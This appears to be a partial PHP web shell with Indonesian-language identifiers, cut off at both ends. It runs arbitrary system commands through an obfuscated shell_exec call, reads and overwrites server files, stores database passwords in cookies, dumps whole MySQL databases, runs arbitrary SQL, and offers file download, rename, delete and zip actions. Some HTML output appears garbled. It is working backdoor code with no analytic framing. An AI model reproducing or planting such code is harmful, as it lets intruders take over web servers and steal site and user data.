"; print "Safe mode: " . ($safeMode===true?"On":"Off") . "[ PHPinfo ]
"; tulisLah(); print '
'; if($awal=="phpinfo") { print ""; } else if($awal=="sistem_kom") { if( isset( $_POST['kom'] ) && is_string($_POST['kom']) && !empty($_POST['kom']) ) { $komanda = uraikan(urldecode($_POST['kom'])); $k = 'sh'; $k.='el'; $k.='l_e'; $k.='xe'; $k.='c'; $output = $k($komanda); print '
' . htmlspecialchars($output) . '
'; } print ' '; } else if($awal=="baca_file" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl']))) { $namaBerkas = basename(uraikan(urldecode($_POST['fayl']))); $pemisah = substr($default_dir,strlen($default_dir)-1)!="/" && substr($namaBerkas,0,1)!="/" ? "/" : ""; if(is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas)) { $elaveBtn = is_writeable($default_dir . $pemisah . $namaBerkas) ? " onclick='halaman(\"?awal=edit_file&fayl=".urlencode(urlencode(kunci($namaBerkas)))."&berkas=".urlencode(urlencode(kunci($default_dir)))."\")'" : " disabled"; print "
Nama File: ".htmlspecialchars($namaBerkas)."
";
print "".highlight_string(file_get_contents($default_dir . $pemisah . $namaBerkas), true)."
";
}
}
else if($awal == 'skl')
{
$host = isset($_COOKIE['host']) ? $_COOKIE['host'] : '';
$user = isset($_COOKIE['user']) ? $_COOKIE['user'] : '';
$sandi = isset($_COOKIE['sandi']) ? $_COOKIE['sandi'] : '';
$database = isset($_COOKIE['database']) ? $_COOKIE['database'] : '';
if( isset($_POST['host'] , $_POST['user'] , $_POST['sandi'])
&& is_string($_POST['host']) && is_string($_POST['user']) && is_string($_POST['sandi'])
)
{
$host = $_POST['host'];
$user = $_POST['user'];
$sandi = $_POST['sandi'];
$database = '';
setcookie('host' , $host , time() + 360000);
setcookie('user' , $user , time() + 360000);
setcookie('sandi' , $sandi , time() + 360000);
setcookie('database' , $database , time() + 360000);
}
if( isset($_POST['database']) && is_string($_POST['database']) )
{
$database = $_POST['database'];
setcookie('database' , $database , time() + 360000);
}
$databaseStr = empty($database) ? '' : 'dbname=' . $database . ';';
?>
"SET NAMES 'utf8'"));
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
$schematas = $pdo->query('SELECT schema_name FROM information_schema.schemata');
print '';
if( !empty($database) )
{
$tables = $pdo->prepare('SELECT table_name from information_schema.tables where table_schema=?');
$tables->execute(array($database));
$tables = $tables->fetchAll();
print '';
print '!! Dump DB !!
'; foreach( $tables AS $tableName ) { $tableName = $tableName['table_name']; print ''.htmlspecialchars($tableName).'
'; } print '
';
print ''; foreach( $tables AS $tableName ) { $tableName = $tableName['table_name']; print ''.htmlspecialchars($tableName).'
'; } print '
';
if( isset($_POST['t']) && is_string($_POST['t']) && !empty($_POST['t']) )
{
$tableName = uraikan(urldecode($_POST['t']));
print 'Table: ' . htmlspecialchars($tableName) . ' ( Dump )
'; $getColumns = $pdo->prepare("SELECT column_name from information_schema.columns where table_schema=? and table_name=?"); $getColumns->execute(array($database , $tableName)); $columns = $getColumns->fetchAll(); if( $columns ) { $dataCount = $pdo->query('SELECT count(0) AS ss from `' . $tableName . '`'); $dataCount = (int)$dataCount->fetchColumn(); print 'Count: ' . $dataCount . '
'; $pages = ceil($dataCount / 100); $currentPage = isset($_POST['halaman']) && is_numeric($_POST['halaman']) && $_POST['halaman'] >= 1 && $_POST['halaman'] <= $pages ? (int)$_POST['halaman'] : 1; for ( $p = 1; $p <= $pages; $p++ ) { print '' . $p . ' '; } print '
'; $start = 100 * ($currentPage - 1); $data = $pdo->query('SELECT * FROM `' . $tableName .'` LIMIT '.$start.' , 100'); $data = $data->fetchAll(); print '';
foreach( $columns AS $columnInf )
{
print '
';
}
else
{
print 'Table not found!';
}
}
else if ( isset($_POST['emr']) && is_string($_POST['emr']) && !empty($_POST['emr']) )
{
$emr = uraikan(urldecode($_POST['emr']));
print 'SQL emr: ' . htmlspecialchars($emr) . '
'; $data = $pdo->query( $emr ); $data = $data->fetchAll(); print '';
if( count($data) > 0 )
{
print '
';
}
print '';
print '
';
print '';
}
}
catch (Exception $e)
{
print $e->getMessage();
}
}
}
else if($awal=="edit_file" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl'])))
{
$namaBerkas = basename(uraikan(urldecode(urldecode($_POST['fayl']))));
$pemisah = substr($default_dir,strlen($default_dir)-1)!="/" && substr($namaBerkas,0,1)!="/" ? "/" : "";
if(is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas))
{
$status = "";
if(isset($_POST['content']) && isset($_POST['took']) && $_POST['took']!="" && isset($_SESSION['ys_took']) && $_SESSION['ys_took']==$_POST['took'] && is_writeable($default_dir . $pemisah . $namaBerkas))
{
unset($_SESSION['ys_took']);
$content = $_POST['content'];
$cc = array('a','i','e','s','l','b','u','o','p','h',"(",")","<",">","?",";","[","]","$");
foreach($cc AS $k1=>$v1)
{
$content = str_replace('|:'.$k1.':|' , $v1 , $content);
}
$faylAch = fopen($default_dir . $pemisah . $namaBerkas, "w+");
fwrite($faylAch, $content);
fclose($faylAch);
$status = " Berhasil disimpan!";
}
$oxuUrl = "?awal=baca_file&fayl=".urlencode(urlencode(kunci($namaBerkas)))."&berkas=".urlencode(urlencode(kunci($default_dir)));
$elaveBtn = is_writeable($default_dir . $pemisah . $namaBerkas) ? "" : " disabled";
print "'; $getColumns = $pdo->prepare("SELECT column_name from information_schema.columns where table_schema=? and table_name=?"); $getColumns->execute(array($database , $tableName)); $columns = $getColumns->fetchAll(); if( $columns ) { $dataCount = $pdo->query('SELECT count(0) AS ss from `' . $tableName . '`'); $dataCount = (int)$dataCount->fetchColumn(); print 'Count: ' . $dataCount . '
'; $pages = ceil($dataCount / 100); $currentPage = isset($_POST['halaman']) && is_numeric($_POST['halaman']) && $_POST['halaman'] >= 1 && $_POST['halaman'] <= $pages ? (int)$_POST['halaman'] : 1; for ( $p = 1; $p <= $pages; $p++ ) { print '' . $p . ' '; } print '
'; $start = 100 * ($currentPage - 1); $data = $pdo->query('SELECT * FROM `' . $tableName .'` LIMIT '.$start.' , 100'); $data = $data->fetchAll(); print '
| ' . htmlspecialchars($columnInf['column_name']) . ' | '; } print ''; foreach( $data AS $row ) { print '
|---|
' . $val . ' | ';
}
print '
'; $data = $pdo->query( $emr ); $data = $data->fetchAll(); print '
' . $key . ' | ';
}
print '
|---|
' . $val . ' | ';
}
print '
Nama File: ".htmlspecialchars($namaBerkas)."
";
print "";
}
else
{
print 'Error! ' . htmlspecialchars($default_dir . $pemisah . $namaBerkas);
}
}
else
{
if(is_dir($default_dir))
{
if(is_readable($default_dir))
{
$folderDalam = scandir($default_dir);
foreach($folderDalam AS &$emelemnt)
{
$pemisah = substr($default_dir,strlen($default_dir)-1)!="/" && substr($emelemnt,0,1)!="/" ? "/" : "";
if(is_dir($default_dir . $pemisah . $emelemnt))
{
$emelemnt = "0".$emelemnt;
}
else
{
$emelemnt = "1".$emelemnt;
}
}
asort($folderDalam);
print "| s | File | Size | Tanggal | Owner/Group | Permissions | Actions |
|---|---|---|---|---|---|---|
| '.htmlspecialchars($adi).' | ' . ($fayldi?sizeFormat(filesize($fileNamaLengkap)):'') . ' | ' . (date('d M Y, H:i' , filectime($fileNamaLengkap))) . ' | ' . htmlspecialchars(fileowner($fileNamaLengkap)) . ' | '; if( is_file($fileNamaLengkap) ) { print (' Download | ') . (' Rename | ') . (' Kosong | ') . (' Delete'); } else if( $adi != '[ . ]' && $adi != '[ .. ]' ) { print (' Zip | ') . (' Hapus'); } print ' |
File Baru | Folder Baru
Command
SQL